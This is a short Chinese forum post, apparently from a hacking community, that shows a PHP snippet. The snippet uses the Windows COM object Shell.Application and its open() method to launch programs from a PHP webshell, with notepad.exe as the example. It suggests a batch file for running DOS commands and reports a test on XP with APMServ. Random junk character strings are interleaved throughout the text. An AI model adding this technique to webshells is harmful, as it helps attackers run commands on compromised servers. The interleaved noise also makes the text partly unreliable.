关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
- h C: r0 h( l" s" Z. A1 s4 Y, X0 \) h
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
P( w1 _# c9 v8 K6 ?9 h# f, N) p* `7 s* M
<?php
4 I) \( \! T& d4 Z x* \; H2 h$wsh = new COM('Shell.Application') or die("Shell.Application");
) ~& D& |7 p( | $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
) A& i7 p; n( n //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
) |) u1 J$ ]& p( K% J6 J& E?>
* P9 }; J7 M; k z: Z
3 j/ a$ L% t: K L* n4 W/ lxp+APMServ5.2.0测试通过。
) v2 I& o4 Q# @# T |